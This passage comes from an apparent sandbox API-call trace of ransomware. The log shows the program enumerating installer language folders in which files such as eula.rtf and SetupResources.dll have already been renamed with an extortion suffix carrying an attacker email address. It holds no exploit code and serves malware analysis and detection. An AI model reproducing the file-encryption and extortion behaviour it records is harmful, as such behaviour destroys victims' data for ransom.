nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0205.674] FindNextFileW (in: hFindFile=0x5da310, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x732902c, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x732902c, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x748055f, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0205.674] FindClose (in: hFindFile=0x5da310 | out: hFindFile=0x5da310) returned 1 [0205.675] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0205.675] FindNextFileW (in: hFindFile=0x5da190, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x734f1ca, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x734f1ca, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName="1035", cAlternateFileName="")) returned 1 [0205.675] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3520950 [0205.675] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x734f1ca, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x734f1ca, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName=".", cAlternateFileName="")) returned 0x5da310 [0205.676] FindNextFileW (in: hFindFile=0x5da310, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x734f1ca, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x734f1ca, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="..", cAlternateFileName="")) returned 1 [0205.677] FindNextFileW (in: hFindFile=0x5da310, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7ed1893, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7ed1893, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7ed1893, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xf64, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0205.677] FindNextFileW (in: hFindFile=0x5da310, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7ed1893, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7ed1893, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7ef7aab, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x12dd6, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0205.677] FindNextFileW (in: hFindFile=0x5da310, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x734f1ca, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x734f1ca, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x734f1ca, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0205.677] FindNextFileW (in: hFindFile=0x5da310, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x734f1ca, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x734f1ca, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x734f1ca, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0205.677] FindClose (in: hFindFile=0x5da310 | out: hFindFile=0x5da310) returned 1 [0205.678] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0205.678] FindNextFileW (in: hFindFile=0x5da190, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x737fee6, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x737fee6, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName="1036", cAlternateFileName="")) returned 1 [0205.678] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3520950 [0205.678] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x737fee6, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x737fee6, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName=".", cAlternateFileName="")) returned 0x5da410 [0205.680] FindNextFileW (in: hFindFile=0x5da410, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x737fee6, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x737fee6, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="..", cAlternateFileName="")) returned 1 [0205.680] FindNextFileW (in: hFindFile=0x5da410, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7ef7aab, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7ef7aab, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8396179, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xeb4, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0205.680] FindNextFileW (in: hFindFile=0x5da410, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8028d9e, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8028d9e, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8028d9e, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x14516, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0205.680] FindNextFileW (in: hFindFile=0x5da410, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x734f1ca, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x734f1ca, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7dec7e1, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0205.680] FindNextFileW (in: hFindFile=0x5da410, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x734f1ca, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x734f1ca, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7dec7e1, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0205.680] FindClose (in: hFindFile=0x5da410 | out: hFindFile=0x5da410) returned 1 [0205.681] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0205.681] FindNextFileW (in: hFindFile=0x5da190, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x73e7a92, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x73e7a92, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName="1037", cAlternateFileName="")) returned 1 [0205.682] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3520950 [0205.682] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x73e7a92, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x73e7a92, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName=".", cAlternateFileName="")) returned 0x4262918 [0205.846] FindNextFileW (in: hFindFile=0x4262918, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x73e7a92, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x73e7a92, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="..", cAlternateFileName="")) returned 1 [0205.847] FindNextFileW (in: hFindFile=0x4262918, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8028d9e, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8028d9e, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x804ee31, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x1bb4, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0205.847] FindNextFileW (in: hFindFile=0x4262918, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x804ee31, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x804ee31, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x804ee31, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x11a86, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0205.847] FindNextFileW (in: hFindFile=0x4262918, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x73e7a92, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x73e7a92, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x73e7a92, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4258, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0205.847] FindNextFileW (in: hFindFile=0x4262918, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x73e7a92, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x73e7a92, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x73e7a92, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4258, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0205.848] FindClose (in: hFindFile=0x4262918 | out: hFindFile=0x4262918) returned 1 [0205.849] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0205.849] FindNextFileW (in: hFindFile=0x5da190, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x740ddd0, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x740ddd0, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName="1038", cAlternateFileName="")) returned 1 [0205.849] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3520950 [0205.849] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x740ddd0, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x740ddd0, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName=".", cAlternateFileName="")) returned 0x4262998 [0205.850] FindNextFileW (in: hFindFile=0x4262998, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x740ddd0, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x740ddd0, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="..", cAlternateFileName="")) returned 1 [0205.850] FindNextFileW (in: hFindFile=0x4262998, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x80e7938, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x80e7938, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x80e7938, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x1184, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0205.851] FindNextFileW (in: hFindFile=0x4262998, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x80e7938, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x80e7938, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x810db0b, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x152a6, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0205.851] FindNextFileW (in: hFindFile=0x4262998, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x73e7a92, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x73e7a92, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x745a2dd, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0205.851] FindNextFileW (in: hFindFile=0x4262998, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x73e7a92, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x73e7a92, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x745a2dd, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0205.851] FindClose (in: hFindFile=0x4262998 | out: hFindFile=0x4262998) returned 1 [0205.852] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0205.852] FindNextFileW (in: hFindFile=0x5da190, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName="1040", cAlternateFileName="")) returned 1 [0205.852] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3520950 [0205.852] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName=".", cAlternateFileName="")) returned 0x4262898 [0205.853] FindNextFileW (in: hFindFile=0x4262898, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="..", cAlternateFileName="")) returned 1 [0205.854] FindNextFileW (in: hFindFile=0x4262898, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x810db0b, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x810db0b, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8133b91, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xf24, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0205.854] FindNextFileW (in: hFindFile=0x4262898, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8133b91, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8133b91, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x858651b, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x139b6, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0205.854] FindNextFileW (in: hFindFile=0x4262898, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x745a2dd, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x745a2dd, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7e5f03d, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0205.854] FindNextFileW (in: hFindFile=0x4262898, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x745a2dd, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x745a2dd, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7e5f03d, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0205.854] FindClose (in: hFindFile=0x4262898 | out: hFindFile=0x4262898) returned 1 [0205.855] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0205.855] FindNextFileW (in: hFindFile=0x5da190, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName="1041", cAlternateFileName="")) returned 1 [0205.855] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3520950 [0205.856] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName=".", cAlternateFileName="")) returned 0x4262bd8 [0205.857] FindNextFileW (in: hFindFile=0x4262bd8, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="..", cAlternateFileName="")) returned 1 [0205.857] FindNextFileW (in: hFindFile=0x4262bd8, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8264d9d, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8264d9d, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8264d9d, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x2874, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0205.857] FindNextFileW (in: hFindFile=0x4262bd8, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x828b3af, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x828b3af, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x828b3af, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x10b86, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0205.857] FindNextFileW (in: hFindFile=0x4262bd8, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x748055f, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x748055f, ftLastAccessTime.dwHighDateTime=0x1d5359b, 